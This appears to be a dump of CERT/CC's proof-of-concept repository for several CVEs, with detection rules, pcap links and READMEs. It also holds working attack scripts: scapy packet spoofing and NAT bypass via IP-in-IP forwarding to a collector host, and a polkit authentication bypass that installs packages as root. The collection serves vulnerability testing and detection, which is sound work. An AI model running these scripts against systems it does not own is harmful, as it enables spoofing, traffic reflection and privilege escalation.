├── cve-2020-10136 ├── spoof.png ├── bypass.png ├── cve-2020-10136.rules ├── ip-in-ip-scan.py └── README.md ├── cve-2021-36955 ├── src │ ├── Makefile │ ├── test_log_crafted.blf │ └── poc.c ├── screenshots │ ├── crafted.png │ └── control_record.png ├── scripts │ ├── BLF_Checksum.1sc │ └── BLF.bt └── README.md ├── cve-2020-1472 ├── smb-normal.pcap ├── cve-2020-1472-test.pcap ├── cve-2020-1472-exploit.pcap ├── cve-2020-1472-exploit-200.pcap ├── cve-2020-1472-exploit-2000.pcap ├── cve-2020-1472-production.rules ├── cve-2020-1472.rules └── README.md ├── vu-257161 ├── malformed_dns.pcap ├── scripts │ ├── ipv6-multicast.py │ ├── common.py │ ├── IPV6-RoutingHeader-0.py │ ├── ipv6routing-header.py │ ├── ip-in-ip-frag.py │ ├── icmp_infoleak.py │ ├── pattern.py │ ├── dns_responder.py │ ├── ip4_tun_udp.py │ ├── tun_exploit.py │ └── dns_long_name.py ├── Fingerprinting.md ├── README.md ├── vu-257161.rules └── recommendations.md ├── cve-2020-8597-pptpd ├── gre-samples.pcap ├── cve-2020-8597-pptpd.rules ├── README.md └── pptp_poc.py ├── README.md ├── cve-2020-12695 ├── cve-2020-12695.rules └── README.md ├── cve-2021-3560 ├── install.py ├── README.md └── search.py ├── cve-2021-22908 ├── README.md └── cve-2021-22908.py ├── LICENSE ├── vu-815128 └── README.md └── .github └── workflows └── process_commits.yml /cve-2020-10136/spoof.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/cve-2020-10136/spoof.png -------------------------------------------------------------------------------- /cve-2020-10136/bypass.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/cve-2020-10136/bypass.png -------------------------------------------------------------------------------- /cve-2021-36955/src/Makefile: -------------------------------------------------------------------------------- 1 | # Assumes MinGW is installed 2 | all: poc.c 3 | gcc poc.c -o poc.exe -lClfsw32 -------------------------------------------------------------------------------- /cve-2020-1472/smb-normal.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/cve-2020-1472/smb-normal.pcap -------------------------------------------------------------------------------- /vu-257161/malformed_dns.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/vu-257161/malformed_dns.pcap -------------------------------------------------------------------------------- /cve-2020-8597-pptpd/gre-samples.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/cve-2020-8597-pptpd/gre-samples.pcap -------------------------------------------------------------------------------- /cve-2020-1472/cve-2020-1472-test.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/cve-2020-1472/cve-2020-1472-test.pcap -------------------------------------------------------------------------------- /cve-2021-36955/screenshots/crafted.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/cve-2021-36955/screenshots/crafted.png -------------------------------------------------------------------------------- /cve-2021-36955/src/test_log_crafted.blf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/cve-2021-36955/src/test_log_crafted.blf -------------------------------------------------------------------------------- /cve-2020-1472/cve-2020-1472-exploit.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/cve-2020-1472/cve-2020-1472-exploit.pcap -------------------------------------------------------------------------------- /cve-2020-1472/cve-2020-1472-exploit-200.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/cve-2020-1472/cve-2020-1472-exploit-200.pcap -------------------------------------------------------------------------------- /cve-2020-1472/cve-2020-1472-exploit-2000.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/cve-2020-1472/cve-2020-1472-exploit-2000.pcap -------------------------------------------------------------------------------- /cve-2021-36955/screenshots/control_record.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CERTCC/PoC-Exploits/HEAD/cve-2021-36955/screenshots/control_record.png -------------------------------------------------------------------------------- /vu-257161/scripts/ipv6-multicast.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from scapy.all import * 3 | a=sr(IPv6(dst="ff02::1")/ICMPv6NIQueryName(data="ff02::1")) 4 | -------------------------------------------------------------------------------- /vu-257161/scripts/common.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | def iface_win_index_to_description(win_index): 4 | return IFACES.dev_from_index(win_index).description -------------------------------------------------------------------------------- /vu-257161/scripts/IPV6-RoutingHeader-0.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from scapy.all import * 3 | target="2604:a880:400:d0::1" 4 | our_address="2604:a880:400:d0::1795:a001" 5 | sr1(IPv6(src=our_address, 6 | dst=target)/IPv6ExtHdrRouting(addresses=[our_address])/ICMPv6EchoRequest()) 7 | 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PoC-Exploits 2 | Select proof-of-concept exploits and intrusion detection rules for software vulnerabilities to 3 | help in identifying, testing and mitigating vulnerable systems. 4 | 5 | The PoC is organized by CVE or by VU# when multiple inter-related CVE are published by CERT/CC under one VU# 6 | -------------------------------------------------------------------------------- /vu-257161/Fingerprinting.md: -------------------------------------------------------------------------------- 1 | # Fingerprinting VU-257161 2 | 3 | The VU-257161 vulnerable versions of Treck can be fingerprinted using the scripts developed by LubbyRuffy at 4 | [https://github.com/LubyRuffy/FingerPrinting-Ripple20](https://github.com/LubyRuffy/FingerPrinting-Ripple20) 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /cve-2020-10136/cve-2020-10136.rules: -------------------------------------------------------------------------------- 1 | #This Snort IDS rule looks for any IP-in-IP traffic, whether 2 | #intentional or not. Further filtering can be applied to ignore sources 3 | #and destinations that are allowed by your policy to route IP-in-IP 4 | #traffic. 5 | alert ip any any -> any any (msg:"IP-in-IP Tunneling Detected VU#636397 https://kb.cert.org"; ip_proto:4; sid: 1367636397; 6 | rev:1;) 7 | -------------------------------------------------------------------------------- /cve-2021-36955/scripts/BLF_Checksum.1sc: -------------------------------------------------------------------------------- 1 | //------------------------------------------------ 2 | //--- 010 Editor v12.0.1 Script File 3 | // 4 | // File: 5 | // Authors: 6 | // Version: 7 | // Purpose: 8 | // Category: 9 | // History: 10 | //------------------------------------------------ 11 | CRRecordHeader.Checksum = 0; 12 | uint checksum = Checksum(CHECKSUM_CRC32,0,0x400,0xEDB88320,0xFFFFFFFF); 13 | CRRecordHeader.Checksum = checksum; -------------------------------------------------------------------------------- /cve-2020-12695/cve-2020-12695.rules: -------------------------------------------------------------------------------- 1 | #Surricata rule to test for SUBSCRIBE being abused. Case sensitivity is NOT required as HTTP 2 | #method SUBSCRIBE is supposed to be uppercase. However we saw some implementations that 3 | #accept HTTP method in lowercase. 4 | alert http any any -> ![fd00::/8,192.168.0.0/16,10.0.0.0/8,172.16.0.0/12] any (msg:"UPnP SUBSCRIBE request seen to external network VU#339275: CVE- 2020-12695 https://kb.cert.org "; content: "subscribe"; nocase; http_method; sid:1367339275;) 5 | -------------------------------------------------------------------------------- /cve-2021-36955/src/poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char** argv) { 6 | 7 | HANDLE logHndl = CreateLogFile(L"LOG:test_log", 8 | GENERIC_WRITE | GENERIC_READ, 9 | 0, 10 | NULL, 11 | OPEN_ALWAYS, 12 | 0); 13 | 14 | CloseHandle(logHndl); 15 | 16 | return 0; 17 | } -------------------------------------------------------------------------------- /cve-2021-3560/install.py: -------------------------------------------------------------------------------- 1 | #usage: python3 install.py 'full;package;id;here' 'another;package;id;here' 2 | 3 | import sys 4 | import dbus 5 | 6 | system_bus = dbus.SystemBus() 7 | 8 | pk_object = system_bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit") 9 | pk_interface = dbus.Interface(pk_object, "org.freedesktop.PackageKit") 10 | 11 | pk_transaction = pk_interface.CreateTransaction() 12 | 13 | pk_transaction_object = system_bus.get_object("org.freedesktop.PackageKit", pk_transaction) 14 | pk_transaction_interface = dbus.Interface(pk_transaction_object, "org.freedesktop.PackageKit.Transaction") 15 | 16 | pk_transaction_interface.InstallPackages(2,sys.argv[1:]) -------------------------------------------------------------------------------- /cve-2020-12695/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-12695 vulnerability information 2 | 3 | Surricata IDS rule is enclosed here that can provide information on how to detect abuse of this vulnerbaility. You can update the IDS rule to change $HOME address to be other than the RFC1918 and RFC4193 IP space in the rule. 4 | 5 | 1. Vulnerability note is available at [https://kb.cert.org/vuls/id/339275](https://kb.cert.org/vuls/id/339275), will be constantly updated with new information from vendors. 6 | 7 | 2. Check at [https://callstranger.com](https://callstranger.com) for exploits and work done by Yunus ÇADIRCI show reported this vulnerability. 8 | 9 | 3. Check the PoC available in [Yunus Github repository](https://github.com/yunuscadirci/CallStranger) 10 | -------------------------------------------------------------------------------- /cve-2020-1472/cve-2020-1472-production.rules: -------------------------------------------------------------------------------- 1 | #Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472 2 | #For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff) 3 | #Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable 4 | #Only captures bytes sequence, this IDS signature subject to some false/negative and 5 | #possible false/positives 6 | alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;) 7 | 8 | -------------------------------------------------------------------------------- /vu-257161/scripts/ipv6routing-header.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from scapy.all import * 4 | import socket 5 | import sys 6 | import signal 7 | 8 | class IPv6OptionHeaderRouting ( IPv6OptionHeader ): 9 | name = " IPv6 Option Header Routing " 10 | fieldsdesc = [ ByteEnumField ( "nh" , 59 , ipv6nh ) , 11 | ByteField ("len" , None), 12 | ByteField ( "type" , 0), 13 | ByteField ( "segleft" ,None), 14 | BitField ( "reserved", 0, 32), 15 | IP6RoutingHeaderListField( "addresses" , [])] 16 | overloadfields = { IPv6 : { "nh" : 43 }} 17 | #> a = sr1(IPv6(dst="2001:4f8:4:7:2e0:81ff:fe52:9a6b")/ \ 18 | # IPv6OptionHeaderRouting(addresses=["2001:78:1:32::1", "2001:20:82:203:fea5:385"])/ \ 19 | # ICMPv6EchoRequest(data=RandString(7)), verbose=0) 20 | #>>> a.src 21 | #"2001:20:82:203:fea5:385" 22 | -------------------------------------------------------------------------------- /vu-257161/scripts/ip-in-ip-frag.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | from scapy.all import * 4 | if len(sys.argv) < 3: 5 | print("Usage "+sys.argv[0]+" VULNERABLE_MACHINE_IP VICTIM_IP [DATA_COLLECT_IP] [spoof|bypass]") 6 | print("\t - Optional arguments DATA_COLLECT_IP and bypass can be used to bypass NAT") 7 | sys.exit(0); 8 | ## IP-in-IP forwarding device vulnerable to VU-636397 9 | VULNERABLE_MACHINE_IP = sys.argv[1] 10 | ## VICTIM IP of the machine we want to send packet to 11 | VICTIM_IP = sys.argv[2] 12 | 13 | packet = IP(dst=VULNERABLE_MACHINE_IP)/IP(src=VULNERABLE_MACHINE_IP, dst=VICTIM_IP)/UDP(sport=3363, dport=3363)/Raw(load="I am Vulnerable"*20) 14 | frags=fragment(packet,fragsize=50) 15 | ## To see the packets in the DATA_COLLECTOR or VICTIM_IP execute: 16 | ## tcpdump -i any -nvvv udp port 3363 17 | for fragment in frags: 18 | fragment.show() 19 | send(fragment) 20 | 21 | -------------------------------------------------------------------------------- /cve-2020-1472/cve-2020-1472.rules: -------------------------------------------------------------------------------- 1 | #Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472 2 | #For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff) 3 | #Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable 4 | #Only captures bytes sequence, this IDS signature subject to some false/negative and 5 | #possible false/positives tested with most exploits currently out 6 | alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;) 7 | 8 | -------------------------------------------------------------------------------- /cve-2021-3560/README.md: -------------------------------------------------------------------------------- 1 | # cve-2021-3560 2 | 3 | ## Vulnerability Info 4 | https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ 5 | 6 | ## PackageKit Exploit 7 | ### Installing Packages 8 | `install.py` can be used to install a package (such as gnome-control-center) bypassing authentication on systems vulnerable to CVE-2021-3560 9 | 10 | The package ID will need to include the semicolons so the quotations are necessary. To determine a valid package id, use the included `search.py` script 11 | 12 | On tested systems, simply running the python script results in the process being killed at the correct timing. If needed, you can add a 'time.sleep()' to the end of the script and the sleep & kill technique can be used for better timing. 13 | ### Usage 14 | `python3 install.py 'full;package;id;here'` 15 | 16 | 17 | ### Searching For Package IDs 18 | `search.py` is used to determine a full package id from a simple package name. 19 | 20 | ### Usage 21 | `python3 search.py package_name(s)` 22 | -------------------------------------------------------------------------------- /cve-2021-3560/search.py: -------------------------------------------------------------------------------- 1 | #usage: python search.py packagename [more package names] 2 | 3 | import sys 4 | import dbus 5 | from dbus.mainloop.glib import DBusGMainLoop 6 | from gi.repository import GLib 7 | 8 | def package_sh(*args, **kwargs): 9 | print(args[1]) 10 | 11 | def destroy_sh(*args, **kwargs): 12 | loop.quit() 13 | 14 | DBusGMainLoop(set_as_default=True) 15 | system_bus = dbus.SystemBus() 16 | 17 | pk_object = system_bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit") 18 | pk_interface = dbus.Interface(pk_object, "org.freedesktop.PackageKit") 19 | 20 | pk_transaction = pk_interface.CreateTransaction() 21 | 22 | pk_transaction_object = system_bus.get_object("org.freedesktop.PackageKit", pk_transaction) 23 | pk_transaction_interface = dbus.Interface(pk_transaction_object, "org.freedesktop.PackageKit.Transaction") 24 | 25 | pk_transaction_interface.connect_to_signal('Package',package_sh) 26 | pk_transaction_interface.connect_to_signal('Destroy', destroy_sh) 27 | GLib.timeout_add(500, pk_transaction_interface.SearchNames, 0,sys.argv[1:]) 28 | 29 | loop = GLib.MainLoop() 30 | loop.run() -------------------------------------------------------------------------------- /cve-2020-8597-pptpd/cve-2020-8597-pptpd.rules: -------------------------------------------------------------------------------- 1 | #IDS rules are bound to have false/positive and false/negatives at times. Note: 2 | #these can be easily evaded by padding and other tricks done when packet crafting. 3 | #USE AT YOUR OWN RISK! 4 | #We have done our best to avoid false/negatives. There is a sample pcap file in 5 | #this folder called gre-samples.pcap which has one GRE EAP-MD5 packet matching buffer 6 | #overflow payload (256 length hostname 'AA..A') and one that does not (255 length 7 | #hostname with 'AA..A') 8 | #GRE packet ip_proto == 47 9 | #This also could be EAP-MD5 response but usually ignored by PPTPD so focus on EAP-MD5 challenge 10 | #PPP - EAP-MD5 Challenge packet == 0xc22701 11 | #Hostname greater than 256 and total length greater than, Note: IP Frame 20 bytes is not 12 | #included in the dsize. 13 | #Length of hostname > 256, so total_packet >287 bytes = 12 (Ethernet-Frame) + GRE Encapsulation (12) + PPP-Protocol (2) + EAP-Framing-length(4) 14 | #Using GRE rules SID format 116:161:* 15 | alert ip any any -> any any (msg:"GRE EAP-Md5 Challenge abnormal length, posisble buffer overflow"; ip_proto:47; content: "|c2 27 01|"; offset: 0; dsize: > 287; sid: 1161617194; rev:1; rawbytes;) 16 | -------------------------------------------------------------------------------- /vu-257161/README.md: -------------------------------------------------------------------------------- 1 | # VU#257161 vulnerability tools 2 | 3 | Suricata IDS rules regarding VU#257161 can be found here and used to help detect exploitation of these vulnerabilities. The IDS rules can be customized as needed. 4 | 5 | More information about these vulnerabilities is available at https://kb.cert.org/vuls/id/257161 . This information will continue to be updated as new information becomes available. 6 | 7 | Treck has published their advisory at https://treck.com/vulnerability-response-information/ 8 | 9 | JSOF, the security reserach firm who discovered these vulnerabilities, has published detailed findings at https://jsof-tech.com/ripple20 . 10 | 11 | Other vulnerability IDs associated with [VU#257161](https://kb.cert.org/vuls/id/257161) include: 12 | 13 | - CVE-2020-0594 14 | - CVE-2020-0595 15 | - CVE-2020-0597 16 | - CVE-2020-11896 17 | - CVE-2020-11897 18 | - CVE-2020-11898 19 | - CVE-2020-11899 20 | - CVE-2020-11900 21 | - CVE-2020-11901 22 | - CVE-2020-11902 23 | - CVE-2020-11903 24 | - CVE-2020-11904 25 | - CVE-2020-11905 26 | - CVE-2020-11906 27 | - CVE-2020-11907 28 | - CVE-2020-11908 29 | - CVE-2020-11909 30 | - CVE-2020-11910 31 | - CVE-2020-11911 32 | - CVE-2020-11912 33 | - CVE-2020-11913 34 | - CVE-2020-11914 35 | - CVE-2020-8674 -------------------------------------------------------------------------------- /cve-2021-22908/README.md: -------------------------------------------------------------------------------- 1 | # cve-2021-22908 2 | 3 | This python3 script checks for Pulse Connect Secure servers vulnerable to 4 | [VU#667933](https://www.kb.cert.org/vuls/id/667933) CVE-2021-22908. The python requests library is required for operation. 5 | 6 | ## Usage modes: 7 | `cve-2021-22908.py ` 8 | This mode will interactively log in to a PCS server to obtain a DSID value. 9 | 10 | `cve-2021-22908.py -d ` 11 | In the case were a PCS user's DSID is already known, this mode will skip the 12 | interactive login exchange. 13 | 14 | `cve-2021-22908.py -n` 15 | If you do not have authentication available for the target PCS, you can check 16 | for only the presence of the Workaround-2105.xml mitigation. 17 | 18 | 19 | ## Results: 20 | `HTTP 500` 21 | This is indicative of a vulnerable PCS server, due to a crashing CGI. 22 | 23 | `HTTP 403. XML workaround applied` 24 | This is indicative of a PCS server that has an XML mitigation applied. 25 | 26 | `HTTP 200. Windows File Access Policies prevents exploitation.` 27 | This is indicative of a PCS server that has "Windows File Access Policies" 28 | configured in a way that prevents exploitation. 29 | 30 | `HTTP %s. Not vulnerable.` 31 | The PCS server does not appear to be vulnerable. 32 | -------------------------------------------------------------------------------- /cve-2020-1472/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-1472 2 | # Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege 3 | 4 | You can use this suricata rules and sample PCAPS to verify 5 | if your network is seeing attacks for MS RPC vulnerability 6 | CVE-2020-1472. 7 | 8 | # For wireshark filters use example below 9 | (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff) 10 | 11 | # Exploits 12 | 13 | Visit [https://github.com/dirkjanm/CVE-2020-1472](https://github.com/dirkjanm/CVE-2020-1472) for samples of password hack and reversal. 14 | 15 | # PCAPS 16 | 17 | The sample packets with 200 attack attempts and 2000 attack attempts are enclosed. The rules have in-built threshold please change it as needed. Current rule should fire most 1 alert within a period of 3 minutes. 18 | 19 | # Suricata Info 20 | 21 | Tested with Suricata 3.2 RELEASE with no default rules in /etc/suricata/rules to avoid noise. Command used to test was 22 | 23 | `suricata -k none -c /etc/suricata/suricata.yaml -s cve-2020-1472.rules -l log/ -r cve-2020-1472-exploit.pcap` 24 | 25 | # CERT Advisory 26 | 27 | Read more at [https://kb.cert.org/vuls/id/490028](https://kb.cert.org/vuls/id/490028) 28 | 29 | # Caveats 30 | 31 | Rules have been fine-tuned to detect current exploits. They may not be able to detect all variants of such attacks. Treat these as experimental and subject normal IDS false/positives and false/negatives, depending on the diverse environments and the changing/evolving malware/attacks. 32 | 33 | -------------------------------------------------------------------------------- /cve-2020-8597-pptpd/README.md: -------------------------------------------------------------------------------- 1 | # cve-2020-8597-pptpd 2 | You can use this code to verify if your PPTPD server is likely vulnerable to CVE-2020-8597 vulnerability. 3 | Usage 4 | prompt# ./pptp_poc.py 5 | Usage ./pptp_poc.py PPTP_Server to test for CVE-2020-8597 6 | 7 | prompt# ./pptp_poc.py 172.19.12.21 8 | Initiating communications with PPTP server 172.19.12.21 9 | Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow 10 | Server 172.19.12.21 is likely vulnerable, did not return anything after EAP packet 11 | 12 | prompt# DEBUG=1 ./pptp_poc.py 172.19.12.24 13 | Initiating communications with PPTP server 172.19.12.24 14 | .... debug info .... 15 | Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow 16 | Server 172.19.12.24 is likely vulnerable, did not return anything after EAP packet 17 | 18 | prompt# ./pptp_poc.py 172.19.12.254 19 | Initiating communications with PPTP server 172.19.12.254 20 | Connected to PPTP server, now sending large buffer to peer to attempt buffer overflow 21 | Server 172.19.12.254 is likely NOT vulnerable to buffer overflow 22 | Verifying peer 172.19.12.254 one more time using a Echo request to the peer 23 | Received a normal PPP Echo Reply, System is mostly likely NOT vulnerable 24 | 25 | There are some sample PCAP file with exploit (and without exploit) and matching 26 | snort rules included in this repository. Read the cve-2020-8597-pptpd.rules file 27 | for details 28 | 29 | ### 30 | 31 | Copyright and license: 32 | See License under https://github.com/CERTCC/PoC-Exploits 33 | 34 | -------------------------------------------------------------------------------- /cve-2020-10136/ip-in-ip-scan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #Thanks to Yannay Livneh for sharing this PoC script 3 | #PoC script slightly modified to test bypass mode 4 | import sys 5 | from scapy.all import * 6 | if len(sys.argv) < 3: 7 | print("Usage "+sys.argv[0]+" VULNERABLE_MACHINE_IP VICTIM_IP [DATA_COLLECT_IP] [spoof|bypass]") 8 | print("\t - Optional arguments DATA_COLLECT_IP and bypass can be used to test bypass NAT") 9 | sys.exit(0); 10 | ## IP-in-IP forwarding device vulnerable to VU-636397 11 | VULNERABLE_MACHINE_IP = sys.argv[1] 12 | ## VICTIM IP of the machine we want to send packet to 13 | VICTIM_IP = sys.argv[2] 14 | 15 | if len(sys.argv) == 5 and sys.argv[4] == "bypass": 16 | ## Address we want to send the return traffic back to 17 | DATA_COLLECT_IP = sys.argv[3] 18 | ## LAN bypass mode to jump into VICTIM_IP network 19 | ## send IP over IP (proto 4) to pull sys.descr from VICTIM_IP and send to DATA_COLLECT_IP 20 | send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=DATA_COLLECT_IP,dst=VICTIM_IP)/UDP(sport=3363)/ 21 | SNMP(community="public",PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1.0"))]))) 22 | else: 23 | ## spoof mode to spoof vulnerable device to send unsolicited traffic to VICTIM_IP 24 | ## send unsolicited reflective DOS traffic to VICTIM_IP on port 3363 saying "I am Vulnerable" 25 | send(IP(dst=VULNERABLE_MACHINE_IP)/IP(src=VULNERABLE_MACHINE_IP, dst=VICTIM_IP)/UDP(sport=3363, dport=3363)/ 26 | Raw(load="I am Vulnerable\n")) 27 | ## To see the packets in the DATA_COLLECTOR or VICTIM_IP execute: 28 | ## tcpdump -i any -nvvv udp port 3363 29 | 30 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, Carnegie Mellon University 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /vu-815128/README.md: -------------------------------------------------------------------------------- 1 | # VU-815128 2 | Forescout has released a set of scripts unser ["project-memoria-detector"](https://github.com/Forescout/project-memoria-detector/blob/main/README.md) 3 | 4 | 5 | Currently, these tool supports fingerprints for four embedded TCP/IP stacks (and their variations) that were found vulnerable during the AMNESIA:33 research (see https://www.forescout.com/research-labs/amnesia33/): 6 | - [uIP](https://github.com/adamdunkels/uip), [Contiki](https://github.com/contiki-os/contiki) or [Contiki-NG](https://github.com/contiki-ng/contiki-ng) 7 | - [picoTCP](https://github.com/tass-belgium/picotcp) or [picoTCP-NG](https://github.com/virtualsquare/picotcp) 8 | - [Nut/Net](http://www.ethernut.de/en/software/) 9 | - [FNET](http://fnet.sourceforge.net/) 10 | 11 | Other vulnerability IDs associated with [VU#815128](https://kb.cert.org/vuls/id/815128) include: 12 | 13 | - CVE-2020-13984 14 | - CVE-2020-13985 15 | - CVE-2020-13986 16 | - CVE-2020-13987 17 | - CVE-2020-13988 18 | - CVE-2020-17437 19 | - CVE-2020-17438 20 | - CVE-2020-17439 21 | - CVE-2020-17440 22 | - CVE-2020-17441 23 | - CVE-2020-17442 24 | - CVE-2020-17443 25 | - CVE-2020-17444 26 | - CVE-2020-17445 27 | - CVE-2020-17467 28 | - CVE-2020-17468 29 | - CVE-2020-17469 30 | - CVE-2020-17470 31 | - CVE-2020-24334 32 | - CVE-2020-24335 33 | - CVE-2020-24336 34 | - CVE-2020-24337 35 | - CVE-2020-24338 36 | - CVE-2020-24339 37 | - CVE-2020-24340 38 | - CVE-2020-24341 39 | - CVE-2020-24383 40 | - CVE-2020-25107 41 | - CVE-2020-25108 42 | - CVE-2020-25109 43 | - CVE-2020-25110 44 | - CVE-2020-25111 45 | - CVE-2020-25112 46 | - CVE-2021-28362 -------------------------------------------------------------------------------- /vu-257161/vu-257161.rules: -------------------------------------------------------------------------------- 1 | # Possible remote code execution, or DoS using IP-in-IP tunneled fragmented packets 2 | alert ip any any -> any any (msg:"VU#257161:CVE-2020-11896,CVE-2020-11898 Fragments inside IP-in-IP tunnel https://kb.cert.org"; ip_proto:4; fragbits:M; sid:1367257161; rev:1;) 3 | # Type 0 Routing header deprecated per RFC 5095 4 | alert ipv6 any any -> any any (msg:"VU#257161:CVE‑2020‑11897 IPv6 deprecated RH Type 0 source routing attack"; decode-event:ipv6.rh_type_0;sid:1368257161; rev:1;) 5 | # IPv6 multicast destination - this rule can create noise. Beware, you can try to narrow this down to ignore ff02::12 for example say for VRRP 6 | # alert ipv6 any any -> ff00::/8 any (msg:"VU#257161:CVE‑2020‑11899 Multicast out-of-bound read";sid:1369257161; rev:1;) 7 | #IP-in-IP packet tunneling 8 | alert ip any any -> any any (msg:"VU#257161:CVE-2020-11900 IP-in-IP tunnel Double-Free https://kb.cert.org"; ip_proto:4; sid:1370257161; rev:1;) 9 | #Malformed DNS with large payload 10 | alert dns any any -> any any (msg:"VU#257161:CVE-2020-11901 DNS malformed response to provide incorrect size for heap allocation error"; dsize:>128 ; app-layer-event:dns.malformed_data; sid:1371257161; rev:1;) 11 | #uses ICMPv4 to report a parameter problem in a crafted packet X (IPv4 + ICMPv4 type=param‑problem + X), 12 | alert icmp any any -> any any (msg:"VU#257161:CVE-2020-11902 ICMPv4 parameter problem with tunnel inside"; itype:12; sid:1372257161; rev:1;) 13 | alert icmp any any -> any any (msg:"VU#257161:CVE-2020-CVE‑2020‑11910 anomalous ICMPv4 type 3,code 4 Path MTU Discovery"; itype:3; icode:4; sid:1373257161; rev:1;) 14 | alert icmp any any -> any any (msg:"VU#257161:CVE-2020-CVE‑2020‑11911 anomalous ICMPv4 Address Mask Reply message (type 18, code 0)"; itype:18; icode:0; sid:1374257161; rev:1;) 15 | -------------------------------------------------------------------------------- /vu-257161/recommendations.md: -------------------------------------------------------------------------------- 1 | # VU#257161 network mitigations 2 | 1. CVE-2020-11896 and CVE-2020-11907 can be mitigated by inspection of IP fragments and rejection of anomalous IP fragment traffic to prevent abuse. If IP fragmenting is not supported, you may also block IP fragmented packets entirely as a protective precaution. 3 | 2. CVE-2020-11897 and CVE-2020-11909 can be mitigated by blocking various IP source routing, including IPv6 source routing - Routing Header Type 0 that has been deprecated by 